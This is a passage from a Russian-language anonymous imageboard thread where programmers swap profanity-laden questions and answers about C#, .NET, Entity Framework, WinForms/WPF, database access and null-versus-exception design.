1) Лучше так не делать и написать обычную фабрику
2) Кинь код, который должен вызывать этот метод. Вангую с ним всё плохо
Аноним 14/07/20 Втр 21:06:14 1751571676
>>1751539
>Что ты вообще сделать хочешь?
У меня есть API-ха (типо CRM) - Делаю для нее функционал. Исходя из всевозможных хотелок потребителя я знаю, что должны быть всевозможные поиски, фильтрации, сортировки - поэтому хочу написать хороший интерфейс и его реализовать. Мне нужно понять - как такой расширяющийся функионал уместить в интерфейс. У меня сейчас 2 вопроса:
1. Что является ключом доступа к связанным сущностям - UserId или UserEmail. По логике должен быть UserId, но я его не храню в кукисах, только UserEmail. Стоит ли его хранить? Или может быть стоить все запросы делать через Email?
2. По поводу всевозможных фильтрафий, сортировок и т.д. - делаю метод, куда передаю одну сущность на вход и такую же на выход. К примеру метод по поиску юзера:
public User GetUser(User user) - этот метод я буду оверлоадить под каждый другой метод. Правильный ли это подход?
Аноним 14/07/20 Втр 21:08:44 1751576677
>>1751539
1) Если я правильно понял, ты о фабричном методе?
2) Вызываю из Main.
Аноним 14/07/20 Втр 21:26:42 1751589678
>>1751571
1) В авторизационных хедерах ожидай всё, что нужно для авторизации. Например, jwt токен. Из токена можно вытащить всё клеймы, например userId. Доверять кукам UserEmail и UserID - это дыра в безопасности размером с Sagittarius A*
2) Сделай DTO, в котором будут вшиты все возможности по поиску и накалябай метод SearchUser(UserSearchOptions searchOptions).
Аноним 14/07/20 Втр 21:31:21 1751594679
>>1751576
Именно так. Если нужен более конкретный совет по архитектуре, скидывай весь код.
Аноним 14/07/20 Втр 21:51:24 1751619680
image.png 63Кб, 1266x425
1266x425
привет аноны, пытаюсь добавить в таблицу для связанные таблицы

связаны таблицы полями (таблица 1 поле :message) > (таблица 2 поле : messageInfo)

собственно проблема на скрине
Аноним 14/07/20 Втр 21:52:00 1751621681
>>1751619
привет аноны, пытаюсь добавить в таблицу ДВЕ связанные таблицы
Аноним 14/07/20 Втр 22:03:16 1751632682
>>1751619
Ты сделал отношение один ко многим, MessageInfo ожидает от тебя коллекцию
Аноним 14/07/20 Втр 22:09:43 1751635683
>>1751589
> токена можно вытащить всё клеймы, например userId
это хорошая идея
>Сделай DTO
уже сделал, просто почему то messed up with email/id fields. Спасибо
Аноним 14/07/20 Втр 22:14:39 1751638684
>>1751632
Понял, решил, Спасибо Большое!
Аноним 15/07/20 Срд 08:07:36 1751714685
Пацантре, короче нужна помощь.
Есть windows Forms приложение. В котором есть вкладки.
Нужно по открытию вкладки создать объект, который будет жить всё время, пока вкладка не закроется.
Как это сделать? Понятно что по ивенту открытия вкладки нужно создать объект, но после выполнения обработчика эвента этот объект уничтожиться. Понятно, что можно создать глобальный статический объект и его использовать, но может быть есть какие-то более удачные подходы. Вообще как решается эта проблема?
Аноним 15/07/20 Срд 08:23:40 1751716686
Аноны кто шарит в анимации на xamarine? есть view с label. Label меняется, как сделать переход из старого состояния в новое через прозрачность?
Аноним 15/07/20 Срд 08:28:44 1751717687
>>1751714
Тебе бы на wpf перейти, там точное есть решение данной проблемы.
Я лишь знаю примерное решение на wpf. В либе Dragablz есть ивенты по созданию нового окна, да и в самой либе можно табы вытаскивать в новое окно.
https://github.com/ButchersBoy/Dragablz
Может тут найдешь решение проблемы
Аноним 15/07/20 Срд 13:09:56 1751841688
image.png 226Кб, 1920x1080
1920x1080
Для решения задачи нужно распарсить файл. Я решил действовать через создание абстрактного синтаксического дерева и накидал прототип на Сишке (пик). Там все понятно - структуры, указатели, деревья. Так вот, как это реализовать правильно на C#?
Аноним 15/07/20 Срд 13:34:19 1751878689
>>1751841
Ты бы лучше формат фала описал. Я в шарпотрез захожу не чтоб с памятью ебаться.
Аноним 15/07/20 Срд 13:43:54 1751890690
image.png 118Кб, 1920x1030
1920x1030
>>1751878
Да самый обычный текстовик, фактически.
Аноним 15/07/20 Срд 14:02:24 1751910691
>>1751890
>>1751878
Хотя я прикинул, и мне кажется, что это LUA-шная таблица.
Аноним 15/07/20 Срд 14:03:23 1751912692
>>1751890
И что получить надо? Набор строковых ключ-значение? Или еще надо определять bool, int и тд?
Аноним 15/07/20 Срд 14:06:42 1751916693
>>1751910
Ну если это lua (я хз, никогда не работал с ним) то должно быть уже что-то готовое для него.
Аноним 15/07/20 Срд 14:09:05 1751919694
>>1751912
Первое, определять не надо, и так известно. Но там вложенность может быть поглубже, я все еще склоняюсь к созданию дерева, а с ним уже проще.
>>1751916
Не, не луа, уже прогнал через интерпретатор.
Аноним 15/07/20 Срд 15:34:13 1752020695
Аноним 15/07/20 Срд 16:22:27 1752080696
>>1752020
Я должен был догадаться, что все уже сделано до меня. Спасибо.
Аноним 15/07/20 Срд 17:39:01 1752158697
rage.jpg 157Кб, 340x444
340x444
как же заебало это мразософтовское иде, как не запустишь - телефон требует.
Аноним 15/07/20 Срд 18:33:28 1752220698
>>1752158
Ты о чем, поехавший?
Аноним 15/07/20 Срд 18:50:46 1752238699
>>1752220
о калмьюнити версии студии, разумеется
>создаешь акк мразософта
>кодишь нормально пару недель
>ой ты чет падазрительный, мы тебя заблокировали, нук телефончик на стол
ИДИТЕ НАХЕР
Аноним 15/07/20 Срд 19:10:43 1752245700
Аноним 15/07/20 Срд 21:02:58 1752303701
>>1752158
Нефиг было телефон указывать при регистрации.
Аноним 15/07/20 Срд 21:08:49 1752304702
>>1752303
я его и не указывал, эти бляди просто заблокировали аккаунт под надуманным предлогом, дескать, подозрительные действия с вашего аккаунта - с хуев там быть чему-то подозрительному, если я эту хуйню только для студии использую? мразотные выблядки просто хотели телефончик получить.
Аноним 15/07/20 Срд 23:24:46 1752395703
1492158147647.PNG 14Кб, 698x345
698x345
Котаны проясните за replace. Нужно чтобы пойманное регуляркой выражение менялось не на одно и то же слово, а на элемент массива, (типо чтобы первое найденное слово менялось на "один", второе найденное менялось на "два" и т.д), но эта срань ни в какую работать не хочет. Оно буквально меняет весь текст на одно слово и посылает нахуй мои массивы
Аноним 16/07/20 Чтв 00:14:03 1752444704
image.png 31Кб, 679x511
679x511
>>1752395
Как-то так. Мне лично не нравится, но оно делает то, что ты хочешь
Аноним 16/07/20 Чтв 01:17:40 1752481705
1471900241737.jpg 434Кб, 600x827
600x827
>>1752444
Спасибо чувак, ты охуенен
Аноним 16/07/20 Чтв 04:08:50 1752529706
image.png 29Кб, 902x355
902x355
Анон, а есть какая-нибудь лайтовая обертка для работы с бд?

Я просто еще нуб, только учусь, но учится приходится на боевом задании, в реальном проекте

Просто надоело писать один и тот же код как на пикче, сейчас у меня там 90% кода из вот этого (потому что надо заполнять всякие комбобоксы и надписи строками из базы)

Это реально раздражает

А ведь это я сейчас работают с тестовой базой в Access. Мне потом еще и базу менять на другую (SQL server) - то есть придется менять эти OleDb на другое.

А есть самая простая обертка для примитивных задач по выборке (без хранимых процедур, транзаций и прочего - мне простых SELECT хватит.. но вообще есть еще и запросы на очистку таблиц и редактирование)

Только именно простое, желательно чей-то велосипед с гитхаба (а то конечно наверняка есть монстры под все случаи жизни, с 1к страничными мануалами настроек)

Сам я пока не могу это выделить в класс - еще мало опыта, получается говно
Аноним 16/07/20 Чтв 06:30:29 1752537707
Аноним 16/07/20 Чтв 06:41:34 1752540708
>>1752537
>Dapper
так я же пишу что надо простое... хотя конечно гляну. Но просто нет времени вникать в тяжелые либы (да и задачи там очень простые, скорее монотонные, не требующие крутых либ)
Аноним 16/07/20 Чтв 08:45:50 1752560709
>>1752540
А что сложно описать в виде строки с sql кодом и получить обратно лист с нужными данными? Я ещё не встречал ещё более простого способа
Аноним 16/07/20 Чтв 09:23:38 1752565710
>>1752540
Посмотри еще на linq2sql - где-то между даппером и еф.
Аноним 16/07/20 Чтв 09:46:32 1752575711
Где можно попрактиковать LINQ методы? Может какой ни будь аналог Sql Zoo?
Аноним 16/07/20 Чтв 09:49:24 1752577712
Привет, подскажите каким образом можно сохранять, записывать или наоборот брать из бд данные отличные от базовых типов? Например мне нужно что-бы пользователь загружал картинку. Где ее хранить и каким способом? Ну или что гуглить?
Аноним 16/07/20 Чтв 11:23:15 1752629713
>>1752577
>Ну или что гуглить?
Ну пиздец, попробуй так и написать в гугель - store image in db - охуеешь какой гугл умный и распознал твой запрос. А вообще большинство бд умеют хранить байтовые массивы. Но лучше, если нет объективных причин хранить именно в бд, хранить в бд инфу о файле, а сам файл отдельно от бд.
Аноним 16/07/20 Чтв 11:44:42 1752651714
>>1752575
Берешь любой цикл for/foreach и переделываешь его в LINQPad
Аноним 16/07/20 Чтв 12:52:27 1752724715
>>1752575
Бери задания по sql, по типу: количество пользователей купивших > 1000, сколько товара на складе. Только не через sql, а linq. Самое прямое назначение
Аноним 16/07/20 Чтв 13:05:30 1752736716
>>1752575
Сделай подобное сам, оглядываясь на примеры sql. И практика и хороший пет проект
Аноним 16/07/20 Чтв 14:15:48 1752830717
>>1752724
>>1752736
я уже так и понял, вопрос номер два - у кого есть бамп какой ни будь RANDOM_DB, чтобы запарсить и дрочить ее? Или же прямо на сервер посылать запросы
Аноним 16/07/20 Чтв 14:31:47 1752860718
Аноним 16/07/20 Чтв 15:05:42 1752903719
Аноним 16/07/20 Чтв 17:11:34 1753050720
>>1738484
да, CSharpDbContextGenerator является частью ef tools, только его нельзя поставить на vs community,
сам ef tools установлен, но при этом не могу добавить файл шаблона в проект, такой опции просто не появляется
Аноним 17/07/20 Птн 03:08:24 1753443721
image.png 39Кб, 946x412
946x412
Тут вопросы
- во многих уроках я вижу что connect открывают во время запроса и потом сразу закрывают. Почему?
Почему OleDbConnection нельзя создать при запуске приложения, а закрыть при его закрытии?

Просто что получилось - вот у меня запрос на пикче. Вроде примитивный. Заполнить ComboBox (WPF) списком улиц.
Делаю такой запрос на выборку в базе - моментально получаю список. Делаю это же самое в форме access - тоже моментально.

Делаю это на шарпе - и список первый раз открывается с задержкой в 3-4 секунды. Там всего-то 200 улиц. База данных и сама программа вообще на рамдиске.
(и на самом деле кажется количество не узкое место, попробовал выбрать 20 штук - таже беда с задержкой... вот и думаю, может из-за создания Connect?
Но у меня одна база данных, я не конекчу разные базы. Вроде читал что оно должно уметь делать одно общее соединение.

Почему так медленно раскрывается? что я делаю не так? как правильно?
Аноним 17/07/20 Птн 03:46:04 1753453722
>>1753443
Потому что работа с коннекшенами не потокобезопасная. С учётом, что большинство нового кода пишется с использованием async/await твой единый глобальный коннекшен не взлетит.

Помимо этого коннекшены по умолчанию находятся в пуле (если ты сам это не выключил), и создание коннекшена в коде не приведет к физическому открытию подключения к базе. Т.е твой глобальный коннекшн опять не нужен.

В третьих, незакрытые коннекшены истощают этот самый пул. Кончится пул - ни один запрос больше не выполнится. Поэтому лучшей практикой считается открытие коннекшена ровно перед тем как ты его собрался использовать, а закрыть его - как только ты выполнил свой запрос.

Твой 4 секундный простой при открытии первого коннекшена связан с инициализацией пула. Выполни при старте Select 1, простоя не будет.
Аноним 17/07/20 Птн 04:15:30 1753461723
>>1753453
>Твой 4 секундный простой при открытии первого коннекшена связан с инициализацией пула. Выполни при старте Select 1, простоя не будет.
не помогло. Сделал выполнение этого же запроса до того как создается окно. Все равно комбобокс при первом открытии открывается с задержкой
Аноним 17/07/20 Птн 05:09:39 1753469724
Ести мигранты в треде? Как вставить ручную SQL миграцию перед последней? Допусть можно пустую сгенерить через Add-Migration и потом вставить свой SQL код в Up и Down. А как ее впихнуть чтобы она перед последней автоматической выполнялась? Можно конечно файл переименовать чтобы таймстап изменить, но как-то криво.
Аноним 17/07/20 Птн 12:00:56 1753647725
>>1753461
Включи профайлер и посмотри что занимает больше всего времени
Аноним 17/07/20 Птн 12:44:21 1753705726
>>1753647
Ещё бы он был встроен в вижак…
мимо
Аноним 17/07/20 Птн 12:58:57 1753720727
Аноним 17/07/20 Птн 13:25:40 1753758728
15908787392140.jpg 25Кб, 470x470
470x470
>>1753720
Заинтересовал, анон, надо посмотреть. Хотя я обычно только снапшоты памяти смотрю, когда жор начинается. Ну либо самописный класс, который стопватчем время замеряет
Сейчас в fody сделали атрибут Time, так что еще удобнее стало

Я с wpf ушел давно, заебали его тормоза. Возможно, у анона проблема в нем, потому что обычно открыть и сгрузить чуток данных из таблицы – дело миллисекунд
Вот даже меню в пустом приложении создаешь, наводишь мышку, а оно первый раз пропердывается, и только на второй раз открывается бодро. Та же хуйня в студии. Попробуйте курсором по меню пройтись после рестарта

А если бы решал проблему того пчела, то просто сгрузил бы асинхронно или в другом потоке улицы заранее например, после открытия окна, и держал бы в листе, чтобы уже точно исключить висяки со стороны бд

Еще хамл этот ебаный. Кому-то нравится, но после веба и флаттера смотрю на него как на говно. Бленд не пытался осиливать, может, в этом дело
Люблю просто красивые интерфейсы
Аноним 17/07/20 Птн 14:05:57 1753823729
изображение.png 2Кб, 152x186
152x186
Суп, котаны.
Хочу нарисовать в вижл студии на форме кучу чекбоксов и адресовать их, как массив.
Помню, десять лет назад в вижл бейсике у меня получалось просто назвать чекбоксы как checkbox[1] и т.д., но здесь и сейчас такой фокус не удаётся.
Как это делается?
Аноним 17/07/20 Птн 14:13:21 1753829730
>>1753720
Прямо в экспресс штоле? Или всё же оно платное?
Аноним 17/07/20 Птн 14:53:21 1753888731
image.png 11Кб, 225x225
225x225
Пишу в мёртвый тред. Следующие вопросы.

1. Ваш язык где-то ещё жив кроме юнити? Чё по UWP, чё по Xamarin, чё по Web?

2. Возможно ли писать не в говностудии? Меня так бесит эта параша, хочу VSCode. Могу даже на винде, но не в студии.

3. Чё по работам?
Аноним 17/07/20 Птн 15:10:48 1753906732
>>1753758
что нынче на .net десктопе помимо wpf?
>>1753888
>Чё
dou.ua / hh.com
>не в говностудии?
>VSCode
ты не можешь essets открыть и посмотреть какие расширения у нее есть?
Ты какой даун, лучше даже не начинай, оставайся в петухоне/js-е
Аноним 17/07/20 Птн 16:09:21 1753953733
>>1753888
>Возможно ли писать не в говностудии?
Есть Rider, сам не пользовался но отзовы положительные. Есть вс код, но шарп в нем мне не зашел, а вот обмазаться плагинами и писать js/css часть самое то.
Аноним 17/07/20 Птн 16:24:07 1753961734
>>1753906
>ты не можешь essets открыть и посмотреть какие расширения у нее есть?

Я спрашиваю юзер экспириенс.

Есть много что. Есть плагин для написания игр на андроид на руби. Есть mvc фреймворк для веба для C++. Я спрашиваю про то как это вообще норм у людей заходит или калл. Какой юзер экспириенс?

> dou.ua / hh.com

Ну смотрел. Мне интересны клустори.


А чё по UWP, Xamarin?
Аноним 17/07/20 Птн 16:49:41 1753976735
Аноним 17/07/20 Птн 17:26:23 1754001736
>>1753961
>юзер экспириенс
>Мне интересны клустори.
>Ты какой даун, лучше даже не начинай, оставайся в петухоне/js-е
Аноним 17/07/20 Птн 17:43:08 1754018737
Только начал изучать С# и нашел у них адский баг.
По кнопке вызывается вот такой хендлер:
private void OnLoadSettings(object sender, EventArgs e)
{
OpenFileDialog openFileDialog = new OpenFileDialog();
if (openFileDialog.ShowDialog() == DialogResult.OK)
{
}
radioButton1.Select();
edit1.Text = "eeeeeeeeeeeee";
}
Он же в том же UI треде, правильно? Если кликнуть в диалоге выбрать файл а потом кликнуть Open, radioButton1 активизируется как и ожидается. А если на файл кликнуть два раза, то button.Select игнорируется. Причем edit1 обновляется нормально в обоих случаях. Что происходит?
Аноним 17/07/20 Птн 17:52:14 1754022738
>>1754018
Хм, убрал 99% остального кода, оставил только кнопку и радиокнопку и в таком виде работает нормально. И как эту хрень искать? Кто-то другой переключает кнопку по евенту когда все вместе работает? Ставил брейкпойнты, ничего подозрительного.
Аноним 17/07/20 Птн 18:01:07 1754027739
>>1754022
Может вот так?
base.Invoke((Action)delegate { btnGet.Enabled = true; });

Но в msdn примерах этого не делается и контрол изменяется прямо из хендлера.
Аноним 17/07/20 Птн 18:51:00 1754065740
>>1752158
Юзай VS Code, там нет такого тотального зондированияв анусе
Аноним 17/07/20 Птн 21:49:53 1754205741
Пишу приложение на Xamarin. Есть метод, который из DateTime делает строку в нужном мне формате и который применяется в нескольких местах в программе. Куда логичнее запихнуть этот метод, в какой класс?
Аноним 17/07/20 Птн 23:46:10 1754283742
Аноним 18/07/20 Суб 04:32:51 1754385743
Что за хуйня с VS? Пишу Console.Read(), а оно считывает не один символ, а просит строку и ждёт нажатия Enter
Аноним 18/07/20 Суб 04:42:38 1754388744
>>1754385
А не, я бухой просто
Аноним 18/07/20 Суб 10:21:02 1754431745
Антоны, наверное вопрос всплывает по три раза на тред:

Знаю сносно питон, работаю на нем. Хочу вкотиться в шарп для души. Есть ли какие-нибудь книги/курсы не для абсолютных новичков в прогаммировании, которые быстро втянут меня в шарп, шоб как рыба в масле нахуй?

В инторнетах ваших курсы либо для полных дебилов а-ля вот тут int кароче кастится в double, либо "как сделать пулю пиу пиу в юнити"
Аноним 18/07/20 Суб 11:57:30 1754460746
Анон, у меня тупой вопрос относительно отменты тасков.
Смотрите, я хочу сделать запрос к api наскольких сайтов. Например я хочу подгрузить список новых релизов, тэги к аниме которое у меня в профиле есть, описание к ним и ссылки на постеры. Вот. Я делаю таск LoadData().
Вот. Но, допустим а процессе пользователь понял, что ему не хочется грузить новые релизы, но остальное хочется. Как я должен отменить конкретно таск с загрузкой релизов? Неужели надо делать 3 функции и для каждой делать свой CancellationTokenSource?
Аноним 18/07/20 Суб 12:32:46 1754474747
Аноним 18/07/20 Суб 12:33:24 1754475748
Аноним 18/07/20 Суб 13:24:04 1754498749
аноны, вопрос такой
есть год опыта довольно специфичной разработки на c# и python. Сейчас решил сменить место работы. Мониторю рынок c# - там backend (логично). Но бля выглядит это так, будто ты всю жизнь на такой работе jsonчики туда сюда гоняешь. Понимаю, что каждая работа это по большей части рутина и все такое. Но блин, хочется чего-то более интелектуального , чем запросы в бд целый день писать. Вот скажи, анон, мб я, в силу своей некомпетентности в бекэнде ошибась насчет этой области? буду рад, если так. Тое не хуесостье плз
Аноним 18/07/20 Суб 13:41:40 1754513750
>>1754498
На уровне джуна-мидла это действительно 95% гоняние жсончиков туда-сюда и запросы делать. Особенно если это чисто веб. Если с девайсами еще работа, то помимо JSONчиков еще байтики будешь парсить, хотя современные девайсы стали жирные и некоторые тоже жсончики могут нормально так слать. Вот. На уровне повыше уже будешь думать насчет архитектуры вцелом и JSONчики отойдут на второй план, надо будет думать о масштабируемости, безопасности и этом всем. Да. Вот. Да.
Аноним 18/07/20 Суб 13:42:25 1754516751
>>1754513
с девайсами? это типа КАК НА СИ ПЛЮС ПЛЮС?
Аноним 18/07/20 Суб 14:14:24 1754557752
>>1754516
Ну ХЗ что там на си плюс плюс. Я когда учился, практику проходил в одной конторе. Там были сишники, они писали драйвера для счетчиков потребления воды, и шарписты, к которым я и попал, писали прикладную часть, типа девайсы по проприетарному протоколу отправляли данные на наш сервер, на сервере мы их обрабатывали и схороняли, у сервера было api чтобы из веба можно было как счить данные которые уже есть на сервере, так и как-то с устройствами взаимодействавать, типа послать команду на чтение данных потребления за период или посмотреть версию прошивки. Воооооот. Лет 7 назад правда это было, я не знаю, занимаются ли сейчас таким на шарпе.
Аноним 18/07/20 Суб 14:26:28 1754573753
>>1754557
мне шарпы, как язык, дико заходят. Однако не вижу какие-то интересных областей с ним: все тебе fullstack и жисоны туды сюды. Кресты/питон - там компуктер вижн, разработка под железо. Мб я романтизирую разработку на крестах и наоборот деромантизирую на шарпе. Но мысли из разряда "нахуя я 6 лет матешу учил, чтобы к бд обращаться 5 дней в неделю" напрягают. Ты, вроде, адекватный анон. Расскажи про большую разработку на шарпах. Есть ли реально челенжевые задачи? Матанчик нужнен? Мозг не застаивается?
Все вопросы рили серьезные - не хочется сейчас с работой проебаться и долгие месяцы сидеть в УГ говне, набирая нерелевантый опыт
Аноним 18/07/20 Суб 15:47:34 1754694754
>>1754460
Да, именно так. Комбинировать с CreateLinkedTokenSource по вкусу.
Аноним 18/07/20 Суб 16:27:51 1754728755
Че почитать то грамотное по паттернам, солиду и проч шобле ебле уже уровня от мидла дотнетяика? У меня опыт в других языках есть просто, какие то представления о солиде, синтаксис дотнета интуитивен. Могу написать имиджборду. Но хочется знать что-то уже поглубже, т.е. паттерны для разных задач, как грамотно по солиду все писать итд
Аноним 18/07/20 Суб 16:30:02 1754730756
>>1754728
Алсо впф и прочий винформ не интересует, только веб бекенд, только хардкор
Аноним 18/07/20 Суб 17:20:05 1754773757
>>1754728
На уровне мидла уже нужно смотреть про архитектурные паттерны.
Аноним 18/07/20 Суб 20:37:30 1754945758
Аноны, помогите советом.
Хочу найти подработку, без участия галеры-прослойки. Подскажите, на каких ресурсах смотреть? Интересует по возможности фул тайм работа с контрактом минимум на полгода.
Аноним 18/07/20 Суб 20:41:32 1754947759
>>1754945
>без участия галеры-прослойки
Welcome to out source, my boy. Таких нет, только фриланс толкаясь, крехтя и пердя среды 1001 индуса
>>1754728
Как ты лычку получил без паттернов? Прямо как в мемасике - знаний, как у джуна, взяли на сеньера :) Энивей - красава.

Оффтоп - почему макака ограничила доступ на вход с тора на "анонимную" борду? Что за лицимерие?
Аноним 18/07/20 Суб 21:10:12 1754962760
>>1754947
Меня и не брали, я щас фронтом работаю, в конторе дотнет нужен просто, хочу сразу на аппер джуна дотнета ну и самому интересно
Аноним 18/07/20 Суб 21:11:34 1754966761
>>1754730
Хуй тебе в рыло, сраный урод.
это не оскорбление, это текущие реалии относительно желания быть бэкенд разрабом на asp net технологии. Конечно, у меня маленький опыт, 4 года и 7 проектов, но на всех проектах, даже на позициях back only, у меня спрашивали "а ты слышал что-нибудь про фронт энд? Да? Ах ты сука, сидишь молчишь, на тебе такси по фронту." и вот, помимо баз (хорошо, если на проекте dba есть), помимо ci/cd(хорошо, если на проекте девопс есть) ты ещё и фронт делаешь (даже при наличии сраных фронтов). Хорошо, если либа или фрэймворка фронтовый на тайпскрипте.
кароч, мой тебе совет: будут заказчики (именно заказчики, а не уебки с твоей галеры) спрашивать про опыт на фронте - говори что фронт никогда в жизни не видел.
Аноним 18/07/20 Суб 21:14:16 1754967762
>>1754966
Я так фронт и в фулстек хочу, для меня это не проблема.
Аноним 18/07/20 Суб 21:20:08 1754971763
>>1754967

Тогда удачи тебе, анон, но помни: за бэком придёт и остальное
Аноним 18/07/20 Суб 21:21:33 1754972764
>>1754971
Не то, чтобы это все сложно, просто заебывает
Аноним 18/07/20 Суб 22:49:00 1755049765
>>1754573
>чтобы к бд обращаться 5 дней в неделю
Меня так брали программистом на шарпе, теперь я из pl/sql developer вылажу только выполненные задачи отметить
Аноним 18/07/20 Суб 23:00:13 1755056766
Как возвращать пустую сущность, если она не найдена в БД и по сигнатуре выходной параметр именно эта сущность? Пример - есть БД, идет поиск по id/name/whatever - делаешь LINQ запрос - ее нет. Что возвращать? Null - это зашквар. Ваши предложения?
Аноним 18/07/20 Суб 23:56:06 1755101767
>>1755056
еще вопрос в дополнение: Есть сущность, пусть это будет - Car. У Car есть такие поля - EngineType, Name, Type, Id, Brand. У пользователя есть возможность фильтровать по одному из критериев. Я знаю, как сделать в императивном стиле через кучу блоков If каждого поля с перегрузкой метода на N полей, можно ли это сделать это более грациозно?
Аноним 19/07/20 Вск 03:55:28 1755200768
>>1755056
Бросай исключение. Обсуждалось выше в треде.
>>1755101
Создай класс CarSearchOptions и ищи. В условии проверяй все поля через или. Если ну прям очень нужно чтоб фильтр был строго по одному параметру, перед поиском делаешь валидацию фильтра.
Аноним 19/07/20 Вск 09:01:32 1755249769
4f5.jpg 29Кб, 720x540
720x540
Есть одна функция.
public static City[] ConstructOneDimCity(Country[] countries)
{
List<City> cities = new List<City>();
for(var i = 0; i < countries.Length; i++)
{
for (var j = countries.GetXl(); j <= countries.GetXh(); j++)
{
for (var k = countries. GetYl(); k <= countries.GetYh(); k++)
{
cities.Add(new City(j, k, i, countries.Length))
}
}
}
return cities.ToArray();
}

Чем заменить вложенный цикл for в этом случае, чтобы было благолепно и не нужно было бы писать еще пяток for в случае расширения функционала?
Аноним 19/07/20 Вск 09:20:00 1755253770
Новый точечный [...].jpg 46Кб, 656x241
656x241
>>1755249
Вот нормальное отображение кода.
Не знал, что сайт так будет вести себя так.
Вопрос тот-же.
Аноним 19/07/20 Вск 10:07:40 1755264771
Допустим, есть метод, который возвращает массив, к примеру, строк.
Как правильнее указать в сигнатуре возвращаемый тип - IList или IEnumberable?
С одной стороны, IEnumberable более универсален и если захочется возвращать вместо массива какой-нибудь Stack, это можно будет легко сделать без правки сигнатуры.
Но с другой стороны этот же IEnumberable не поддерживает Linq, в результате, если понадобится в вызывающем коде сделать выборку по данным, нужно будет делать уродское преобразование во всех местах, где она нужна.
Есть ли универсальное решение для этого вопроса, или в каждом случае лучший вариант зависит от ситуации?
Аноним 19/07/20 Вск 10:23:12 1755276772
>>1755253
Тебе нужно вынести внутренних 2 цикла и сделать метод для получения городов в классе Country. Он там намного логичнее будет смотреться. В сам Country ввести какой-нибудь ID, который можно будет передать в конструктор City вместо индекса в массиве. И ещё, убрать из конструктора City число стран. Зачем оно нужно?
Аноним 19/07/20 Вск 10:39:19 1755282773
>>1755264
> Но с другой стороны этот же IEnumberable не поддерживает Linq, в результате
Что? Возможно, появится повторный перебор, так как доступ через Next, а не как в массиве
Аноним 19/07/20 Вск 10:55:21 1755288774
>>1755253
Linq'ом можно сделать, что-то типа:
var cities = from country in countries
from x in country.GetXs()
from y in country.GetYs()
select new Citi(x, y, country.Id)
Аноним 19/07/20 Вск 11:01:37 1755291775
>>1755264
Если не можешь определить, то используй обобщения
Аноним 19/07/20 Вск 11:09:47 1755297776
>>1755056
Создавай сущность с Id == -1
Аноним 19/07/20 Вск 11:12:39 1755299777
>>1755056
Илт возвращай не искомое значение, а отдельный класс, например DbSearchResult в котором буду перечисления вида ResultState.Found/ResultState.NotFound
Аноним 19/07/20 Вск 11:20:55 1755304778
>>1755282
Проебался немного - недавно наткнулся на проблему с IndexOf, который реализуется в IList.
>>1755291
Как обобщения помогут в этой ситуации? Эти интерфейсы итак обобщённые.
Аноним 19/07/20 Вск 11:54:49 1755311779
>>1755056
Да блядь, какого хуя-то Null это зашквар? Вот объясните мне?
Давай просто посмотрим варианты:
1. Ты возвращаешь null
2. Ты возвращаешь фейковый объект
3. Ты кидаешь исключение

Что мы имеем.
В первом варианте, null это дефолтное значение для всех референс типов, его оч быстро проверить и пользователь просто пишет if(obj is null) и все, ему даже думать не нужно больше, он всегда понимает что там может быть null, потому что, блядь ЭТО ДЕФОЛТНОЕ ЗНАЧЕНИЕ ВСЕХ РЕФЕРЕНС ТИПОВ, БЛЯДЬ, СУКА, НАХУЙ, ПИЗДА, ЗАЛУПА, ХУЙ.
Во втором, ты для каждой сущности делаешь статическую заглушку в виду MyObj.Empty. Ты добавляешь оверхед, а пользователь каждый раз должен такую же проверку на result.Equal(MyObject.Empty) делать, при этом там под капотом будет проверка на null и потом сравнение ссылок на объект. Опять же, ты создал просто так объект, который все время жизни приложения живет себе и нужен просто чтобы долбоеб проверил, а не хуйню ли я возвращаю.
Третье, ты кидаешь эксепшн. В итоге у пользователя ненужный нахуй оверхед, он должен обрабатывать это исключение и вообще, говно, жопа, мать ебал, производительность проседает и вообще говно-залупа и не нужно, если мы не работаем с сетью/удаленными БД/процессами, которые могут завершаться без нашего ведома и прочей залупой, от нас не зависящей.

В итоге, вариант с заглушкой это залупа из под коня, которая мало того что медленная, так и ни чем не выигрывает перед простой проверкой на null.
Остается два варианта Null и эксепшн. Эксепшн, как сказано ранее, заставляет пользователя писать постоянно try-catch, чтобы не дай бог хуйни не случилось. Или Null, божественный и удобный, который всем, сука понятен и все про него знают.

>>1755299
Оверхед. Но таки оправданный, если для тырпрайза по всем заветам солида делается. Наверное лучший вариант.

>>1755297
И что будет если в рамках конкретной таблицы это валидный ID? Ну вот был ебанутым чел что проектировал БД и в отрицательную сторону считать ключ, для каждой второй таблицы, просто потому что. Ну вот такой странный чел был, что поделать, а БД уже 15 лет работает и никто менять структуру не собирается, потому что ну вот так вот. Теперь я как пользователь класса должен что-то знать про устройство таблицы? И в случае если это вот конкретно эта таблица, то надо на положительные проверять, а если та - на отрицательные? А что если вообще в этой таблице нет суррогатных ключей и соответственно никаких ID? Допустим при проектировании решили, что Имя-Дата нормальный ключ для события, т.к. одно и то же событие в один день не может произойти, никаких ID. Что мне тут проверять? Если бы я просто проверил на Null, мне вообще не нужно было бы думать про то как там таблица устроена, какая там сущность и т.д.

В общем, мое мнение null - прекрасен, null удобен, null - это радость и процветание, если ты не чел, который забывает каждый раз что null это то чего нужно ждать.
Аноним 19/07/20 Вск 11:57:33 1755312780
Аноним 19/07/20 Вск 12:07:14 1755315781
>>1755311
Хули вы эксепшены ненавидите?
Я вот брошу эксепшн, повешу на роут ExceptionFilter атрибут и верну 404 сделав одну проверку. А вы пишите свои проверки на null по всему коллстеку до посинения. И тесты на это говно пишите.

Компьютеры дешёвые, программисты дорогие.
Аноним 19/07/20 Вск 12:22:19 1755317782
.png 30Кб, 644x811
644x811
>>1755253
Ну, вот как вариант.
Правда я нихуя не понял модель всего этого, потому может быть хуйню написал.
Аноним 19/07/20 Вск 12:32:41 1755319783
>>1755317
Зачем все это? Добавь метод GetAllCities() к классу Country и все. Ты как будто Ява погромистом стать хочешь со своими стратегиями.
Аноним 19/07/20 Вск 12:48:16 1755325784
>>1755319
Чел же сказал, что не хочет писать пяток for в случае расширения функционала. Так он может любую реализацию получения городов вынести из страны и как угодно получать их. Может, в случае желания, для разных стран разные методы получения городов делать.
Ну, по крайней мере я так понял то что он хочет.
Аноним 19/07/20 Вск 13:04:21 1755328785
>>1755297
фейк лучше не кидать, это не мок. Если юзер будет вводить хуйню и получать фейк - это проблема
>>1755299
это изолированный поиск по сущностям, там нет перебора на найдены/не найдены
>>1755311
null - зашквар, ибо nullreferenceexeption ложит апликуху. И как написал господин из >>1755315 - это проверки по всей цепочке алгоритма на Null, чтобы не дай бог нигде не проебаться.
>>1755200
>Бросай исключение
